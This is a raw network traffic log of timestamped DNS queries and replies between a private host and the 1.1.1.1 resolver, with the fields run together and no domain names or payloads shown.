                                                                                                                                                                                                          Nov 11, 2024 18:13:53.930306911 CET5162853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.938108921 CET53516281.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.959090948 CET6513753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.959578991 CET5874253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.970030069 CET53651371.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.971400023 CET53587421.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.974843025 CET5105853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:53.985018969 CET53510581.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.018883944 CET6449853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.051789045 CET53644981.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.202828884 CET5379053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.203274012 CET4920753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.213593006 CET53537901.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.240782022 CET53492071.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.349356890 CET5040153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.360255957 CET53504011.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.703922033 CET6243553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.715008974 CET53624351.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.725263119 CET5806953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.726016998 CET6299953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.726358891 CET6459453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.726466894 CET5008853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.735668898 CET53500881.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.736125946 CET53629991.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.737046957 CET53580691.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:54.744385958 CET53645941.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.263694048 CET5233453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.284812927 CET53523341.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.302767992 CET6356953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.313999891 CET6291053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.324140072 CET53629101.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.334692001 CET53635691.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.363590002 CET6219953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.394396067 CET53621991.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.416745901 CET5964353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.427841902 CET53596431.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.646405935 CET5707053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.660568953 CET5367453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.661365032 CET5738453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.677850962 CET53570701.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.690542936 CET5312553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.692240000 CET53573841.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.700767994 CET53531251.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.764096975 CET53536741.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.787370920 CET5923553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.799170017 CET53592351.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.857578993 CET5297453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.857990026 CET5262553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.858131886 CET6432953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.858974934 CET6480053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.867690086 CET53526251.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.869798899 CET53529741.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.869810104 CET53648001.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.891257048 CET53643291.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.959685087 CET5014153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:55.979196072 CET53501411.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.049329996 CET5657753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.082597971 CET53565771.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.336786032 CET5030553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.411204100 CET6370453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.513763905 CET53503051.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.513973951 CET53637041.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.592657089 CET5569153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.592657089 CET5142553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.592959881 CET6254353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.593172073 CET5173853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.593512058 CET6193753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.602711916 CET53625431.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.603534937 CET53517381.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.606142998 CET53556911.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.610861063 CET53514251.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:56.624365091 CET53619371.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.387499094 CET5991053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.421608925 CET53599101.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.484194994 CET5603253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.485918999 CET5028153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.497273922 CET53560321.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.498490095 CET53502811.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.507083893 CET5358753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.507764101 CET5180153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.539623022 CET53535871.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.542666912 CET53518011.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.653889894 CET6489753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.665183067 CET53648971.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.725497961 CET5510053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.734788895 CET53551001.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.807223082 CET5804353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.816397905 CET53580431.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:57.993000984 CET6482053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:58.003222942 CET53648201.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:59.624464035 CET6095653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:59.634140015 CET53609561.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.106010914 CET5489653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.109219074 CET5251053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.110028028 CET5479253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.116528988 CET53548961.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.119180918 CET53525101.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.120084047 CET53547921.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.131160975 CET5480153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.134798050 CET5646553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.135440111 CET5633853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.138149977 CET5553353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.139301062 CET5285653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.141604900 CET53548011.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.143626928 CET6184553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.145627022 CET53563381.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.145698071 CET53564651.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.147700071 CET53555331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.149887085 CET6474853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.150072098 CET5944853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.151182890 CET6105053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.152496099 CET6494553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.152973890 CET5752053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.153093100 CET6546753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.153410912 CET53618451.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.155137062 CET5188053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.160217047 CET53594481.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.161194086 CET53610501.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.162693977 CET53575201.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.162900925 CET53654671.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.163479090 CET53649451.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.165862083 CET53518801.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.170581102 CET53528561.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.174163103 CET5066153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.175407887 CET5210953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.177094936 CET5298453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.177282095 CET5753353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.177483082 CET5593253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.177743912 CET6185453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.177947998 CET5870753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.178205967 CET6522353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.178456068 CET5455453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.178615093 CET5324453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.181922913 CET53647481.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.181927919 CET6213953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.184690952 CET5108753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.184729099 CET53575331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.185148001 CET6020953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.185348034 CET5520353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.185650110 CET53506611.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.185745001 CET5963053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.186264038 CET53521091.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.186786890 CET53559321.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.186817884 CET53529841.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.187144041 CET5390053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.187325001 CET53545541.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.187525988 CET5196453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.187737942 CET5977753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.187999010 CET5327753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.188519955 CET6530053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.188908100 CET53618541.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.189980984 CET53532441.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.190995932 CET4980853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.192178011 CET5787553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.192447901 CET5152453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.192769051 CET6409453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.193283081 CET5710053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.193392038 CET53621391.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.195069075 CET53552031.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.195225000 CET53602091.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.195862055 CET53596301.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.196727991 CET53519641.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.196969986 CET53539001.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.197247028 CET53597771.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.198575020 CET53532771.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.199012995 CET5340153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.200150013 CET6319253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.200335979 CET6252253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.201688051 CET5406253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.201850891 CET5191753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.202034950 CET53515241.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.202295065 CET5400353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.202891111 CET5118753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.202965021 CET53578751.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.203485966 CET53571001.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.207715034 CET5108853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.208252907 CET6078753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.208803892 CET6315753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.209033966 CET6282453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.209100962 CET4971453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.209821939 CET53534011.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.210192919 CET53587071.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.210429907 CET53652231.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.210983992 CET53540621.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.210999012 CET53631921.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.211344004 CET53625221.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.212433100 CET53519171.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.213169098 CET53511871.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.217710018 CET53510871.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.218369007 CET53628241.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.218461037 CET53607871.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.218653917 CET53510881.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.220813990 CET53653001.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.222218990 CET53498081.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.223381996 CET53640941.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.232839108 CET53540031.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.239805937 CET53631571.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.240217924 CET53497141.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.388649940 CET5016053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.401257992 CET53501601.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.529186010 CET5582353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.529993057 CET5831753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.536406040 CET5790253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.536807060 CET6055853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.536961079 CET4932853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.537256002 CET5908253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.537615061 CET5696953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.538388968 CET5430053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.539943933 CET6170553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.540098906 CET53558231.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.542184114 CET6464153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.543396950 CET5526853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.543874025 CET5215053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.546772957 CET53493281.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.546792984 CET5323553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.546901941 CET53569691.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.547077894 CET53579021.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.547420025 CET53590821.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.548616886 CET53543001.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.549880028 CET53617051.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.550021887 CET4923453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.550240040 CET5776153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.550463915 CET6488353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.550649881 CET5510753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.552043915 CET53646411.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.554055929 CET53552681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.554261923 CET53521501.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.554840088 CET6536153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.559469938 CET5531653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.560620070 CET53583171.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.561579943 CET53551071.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.565184116 CET5480653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.565979958 CET5525653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.566083908 CET53553161.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.568245888 CET53653611.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.569298983 CET53605581.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.570353031 CET6108253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.578298092 CET6002453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.578412056 CET53532351.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.579005957 CET53610821.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.581978083 CET53648831.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.582061052 CET5442153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.582256079 CET6211153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.582446098 CET53492341.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.584387064 CET53577611.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.584709883 CET6110453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.585167885 CET5645653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.586076975 CET53600241.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.588975906 CET5781953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.589302063 CET6027253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.589302063 CET5288053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.592231035 CET53544211.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.592736959 CET53621111.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.595134974 CET53611041.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.595628023 CET53564561.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.597170115 CET53552561.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.597182989 CET53548061.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.599422932 CET53602721.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.601656914 CET53528801.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.620265961 CET53578191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.626348019 CET5164053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.626981020 CET5776653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.627137899 CET5532353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.627351999 CET5646653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.627439976 CET5864253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.627602100 CET5238353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.632127047 CET6518353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.632548094 CET5938453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.632797956 CET5808153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.632896900 CET6337653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.632980108 CET6208453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.633162022 CET5475053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.633208036 CET5521153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.633414030 CET6109453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.633552074 CET5886353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.633670092 CET5471253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.633707047 CET4992453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.633867979 CET6162853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.634033918 CET5295453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.634093046 CET6296953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.634284973 CET5965753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.634329081 CET6241953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.634485006 CET5955553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.634948015 CET5250553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.635057926 CET6212153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.636550903 CET53516401.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.636714935 CET53523831.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:14:00.636730909 CET53553231.1.1.1192.168.2.6
